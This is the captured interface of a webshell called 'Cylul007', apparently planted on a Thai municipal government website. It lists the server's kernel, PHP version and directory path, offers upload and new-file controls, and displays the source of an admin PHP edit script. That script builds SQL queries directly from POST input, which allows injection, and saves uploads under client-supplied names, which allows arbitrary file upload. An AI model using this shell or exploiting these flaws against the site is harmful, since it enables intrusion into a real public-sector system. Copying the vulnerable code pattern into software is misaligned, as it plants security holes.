Cylul007 Webshell
Uname
:
Linux ns7.thaihispeed.com 3.10.0-693.11.1.el7.x86_64 #1 SMP Mon Dec 4 23:52:40 UTC 2017 x86_64
PHP
:
5.3.29
on
apache2handler
Time
:
24 Nov 2024 21:10:01
Path :
/
home
/
tassabanlo
/
domains
/
lomsak.go.th
/
public_html
/
File Upload :
New File
New Folder
Current File : /home/tassabanlo/domains/lomsak.go.th/public_html/informaition7_edit.php
Download
HOME
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" type="image/x-icon" href="images/favicon.ico" /> <title>สำนักงานเทศบาลเมืองหล่มสัก</title> </head> <? include "checklogin.php"; include "connect.php"; $name_in7 = $_POST['name_in7']; $fileupload = $_FILES['pdf']['tmp_name']; $fileupload_name = $_FILES['pdf']['name']; $num_in7 = $_POST['num_in7']; if($name_in7!=""){ if(@$total == 0){ if($fileupload!=""){ //unlink("./informationpdf7/".$fileupload_name); if (!copy($fileupload, "./informationpdf7/".$fileupload_name)) { echo"<script language=\"javascript\">"; echo"alert('ไม่สามารถอัพโหลดรูปได้ กรุณาลองใหม่อีกครั้ง');"; echo"</script>"; exit; } $sql = "UPDATE information7 SET name_in7 = '$name_in7',pdf_in7 = '$fileupload_name' WHERE num_in7 = '$num_in7' "; } else{ $sql="UPDATE information7 SET name_in7 = '$name_in7' WHERE num_in7 = '$num_in7' "; } mysql_query($sql,$conn) or die("3.ไม่สามารถประมวลผลคำสั่งได้"); mysql_close(); echo"<script language=\"javascript\">"; echo"alert('บันทึกข้อมูลเรียบร้อยแล้ว');"; echo"window.location = 'information7admin.php';"; echo"</script>"; } } ?> <body> </body> </html>
Copyright © 2018 - Powered By CytoXploit